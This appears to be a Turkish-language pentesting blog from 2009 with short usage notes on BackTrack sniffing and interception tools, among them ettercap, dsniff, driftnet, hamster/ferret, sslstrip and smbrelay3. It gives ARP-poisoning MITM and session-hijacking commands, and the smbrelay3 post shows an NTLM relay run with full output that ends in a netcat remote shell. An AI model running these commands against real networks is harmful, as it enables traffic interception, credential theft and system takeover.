Pwnsauce

Arpalert

IRQ — Thu, 01 Oct 2009 19:42:16 +0000

Bu yazılım ethernet ağları izlenmesi için kullanılır.Networku dinler ve IP-Mac eslesmelerini cozumler.

Kullanimi ;

arpalert [-f config_file] [-i network_interface] [-D log_level] [-l leases_file] [-d] [-f] [-v] [-h] [-P] [-V]

-f conf_file Konfigre dosyasi
-i devices    Ag arayuzu
-D loglevel   Log seviyesi (0 – 7)
-l leases     Mac adreslerinin saklanacagi dosya
-m module     Modul dosyasi yukleme
-d            Deamon olarak calistirir
-F            On planda calistirir
-v            Yapilandirmayi gosterir
-h            Yardim
-P            Rastgele modda calistirir
-V            Versiyon

Konfig dosyalari

/etc/arpalert/maclist.allow
/etc/arpalert.conf

Resmi Websitesi

Driftnet

IRQ — Thu, 01 Oct 2009 19:40:32 +0000

Ag trafigini izler ve jpg, gif dosyalarini yakalar.Video ve ses dosyalarinida yakalamak mumkun driftnet ile.

Kullanimi ;

mkdir /tmp/driftnet

Komutu ile tmp dizinine driftnet klasoru olusturduk

driftnet -v -i [Ag arayuzu] -d /tmp/driftnet

-i ile Kullandigimiz arayuzunu tanimladik
-d /tmp/driftnet ile yakaladigi verileri /tmp/driftnet icerisine kayit etmesini sagladik.

Ek ayarlari ;

-m [Sayi] ile Kaydedilecek Max resim sayisi
-a ile yakaladigi verileri gostermeden sadece kayit etmesini

Resmi Websitesi

Dsniff

IRQ — Thu, 01 Oct 2009 19:38:35 +0000

Icerisinde farkli amaclar icin tasarlanmis bir cok sniffer bulundurur ;

Filesnarf : Ag uzerinden gecen dosylari yakalar

Mailsnarf : Mail server ile kurulan baglantilari yakalar temel kullanimi su sekildedir ;

mailsnarf -i [Ag arayuzu]

Msgsnarf : Anlik iletileri yakalar temel kullanimi su sekildedir ;

msgsnarfg -i [Ag arayuzu]

Urlsnarf : Ag gecidine gonderilen paketleri analiz edip erisilmek istenilen adresleri listeler.Temel kullanimi
su sekildedir ;

urlsnarf -i [Ag arayuzu]

-w [Dosyadi] eklentisi ile ciktilar kayit edilebilir.
Resmi Websitesi

Ettercap

IRQ — Thu, 01 Oct 2009 19:35:40 +0000

Arp poisoning ozelligi ile Switched Aglari analiz etmek icin tasarlandi.

Ettercap ile yapilmis ornek bir saldiri ;

Back Track 4 ile Network Hacking

Benzer bir saldirinin videosu ;

Ettercap

Kullanimi ;

ettercap -i [Ag arayuzu] -T -q -M ARP /Ag Gecidi/ /Hedef/

-i ile Ag arayuzu tanimladik
-T ile Sonuclarin text gorselinde cikmasi
-q ile paket iceriklerini gizledik
-M ile MITM saldirisi etkinlestirdik, “ARP” ile saldiri metodunu tanimladik

Konfig dosyasi ;

usr/share/ettercap/etter.dns

Resmi Websitesi

Hamster

IRQ — Thu, 01 Oct 2009 19:32:39 +0000

Http uzerinde oturum calar Ferret ile uyumlu calisir, ferretin yakaladigi cerezleri browser a import edip
oturum calma islemini gerceklestirir.

Bulundugu Dizin ;

/pentest/sniffers/hamster

Ferret isimli sniffer da bu dizinde bulunmaktadir, ferretin calismasi ;

./ferret -W

komutu kullanildiginda bagli arayuzleri listeler ve kullanilabilir olani secmenizi saglar.

Resimlerle kullanimi

Hamsterin calismasi ; (Ferret aktif iken)

./hamster

hamster.txt dosyasinda vekil sunucuyu 127.0.0.1:3128 ayarlayip

Browserda ;

http://hamster

ile Hedef secip baglanti kurdugu adresler listelenir sadece tiklayarak erisim saglanir.

Resmi Websitesi

SmbRelay3

IRQ — Thu, 01 Oct 2009 19:29:38 +0000

Cogu Windows aglari hala varsayilan guvensiz kimlik dogrulama ile geliyor.Varsayilan NTLM 3. sahislardan gelen

baglantilari sifre sormaksizin kabul eder.Smbrelay3 bu baglantinin saglanmasini saglar.

Bulundugu Dizin ;

/pentest/sniffers/smbrelay3

Kullanimi ;

C:\smbrelay3>smbrelay3.exe –ListForHTTPRequests –AlternativeHTTPPort 81

Ciktisi su sekilde ;

SmbRelay3 – SMB to SMB and HTTP to SMB replay attack
(c) 2007 – 2008 Andres Tarasco – atarasco@gmail.com
Website: http://www.tarasco.org

Listening HTTP thread at port 81
Accepted Connection – Replaying against 192.168.1.100
Read First HTTP Request…
Sending Default HTTP 401 Error response and asking for authentiation NTLM
Read Second HTTP Request with Auhorization Header..
Init HTTP to SMB attack – Connecting with: 192.168.1.100:445
Sending SMB Authentication Handshake
Received SMB Message with NTLM v2 packet
Sending NTLM Challenge from SMB Server to the HTTP Client
Received Final Authentication packet from remote HTTP Client
UserName: Administrator
DomainName: 192.168.1.36
WorkstationName: SERVIDOR
Trying to authenticate to remote SMB as Administrator
Sending Final SMB Authentication packet with NTLM Message type 3
SessionSetupAndX Completed
Authenticacion against 192.168.1.100 Succeed with username Administrator
Connecting against IPC$
Trying to connect to admin$
Creating Remote File smrs.exe under admin$
Writing File smrs.exe into admin$
Closing File handle – FID: 800f
Opening Remote Service Control Manager pipe \svcctl
Sending RPC BindRequest to SCM pipe
Reading Response from Binding Request
Opening Remote Service Control Manager
Creating Remote Service
Opening Remote Service
Starting Remote Service…
Now Remote Service is executed… Try to connect to 192.168.1.100:8080

C:\smbrelay3>nc 192.168.1.100 8080
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>

Resmi Websitesi

Ssldump

IRQ — Thu, 01 Oct 2009 19:26:36 +0000

ssl Protokolu ile gerceklestirilen baglantilari (https) analiz eder gerekirse decrypt edip cikti verir.

Kullanimi ;

443 nolu portu dinlemek icin :

ssldump -i [Ag arayuzu] port 443

Hedef ile 443 nolu port arasindaki iletisimi dinlemek icin ;

ssldump -i [Ag arayuzu] port 443 hedef host

Resmi Websitesi

Sslstrip

IRQ — Thu, 01 Oct 2009 19:24:05 +0000

Https baglantilarini http ye donusturup kendi uzerinden tekrar yonlendirir.

Kullanimini gosteren videolar ;

Sslstrip

Kullanimi ;

sslstrip

Secenekler ;

-w , –write= Cikti kayit edilecek dosya (opsiyonel).
-p , –post                       Sadece SSL trafinig dinler (varsayilan)
-s , –ssl                        Tum SSL trafigini kayit eder
-a , –all                        Tum SSL ve HHTP trafigini kayit eder serverdan
-l , –listen=        Dinlenecek Port (varsayilan 10000).
-k , –killsessions               oturumu kapatir
-h                                Yardim

Resmi Websitesi

Wireshark

IRQ — Thu, 01 Oct 2009 19:19:38 +0000

Grafik arayuzu ile network uzerinde gerceklesen butun baglantilari analiz eder, Eski adi Ethereal olarakta

bilinir.

Resmi Websitesi ;

Wireshark

Maltego

IRQ — Thu, 01 Oct 2009 13:31:30 +0000

Grafik arayuzune sahip hedef sistem hakkinda herturlu bilgiye erisebilen bir arac.

Kullanimini Gosteren Videolar ;

Kablosuz agda toplanan paketleri analiz ederek ag topolojisi cikarmayi gosteriyor

Tarama tekniklerini guncellekemek icin ;

Tools> Manage transforms
Discover Transforms > > > > >